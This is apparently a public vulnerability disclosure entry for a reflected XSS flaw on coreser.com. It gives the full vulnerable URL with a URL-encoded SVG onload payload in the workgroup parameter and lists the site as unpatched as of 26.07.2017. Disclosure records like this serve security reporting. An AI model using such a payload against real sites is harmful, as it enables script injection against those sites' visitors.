coreser.com XSS vulnerability

Vulnerable URL: http://www.coreser.com:8080/webchat/email/offline-mail.jsp?workgroup=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...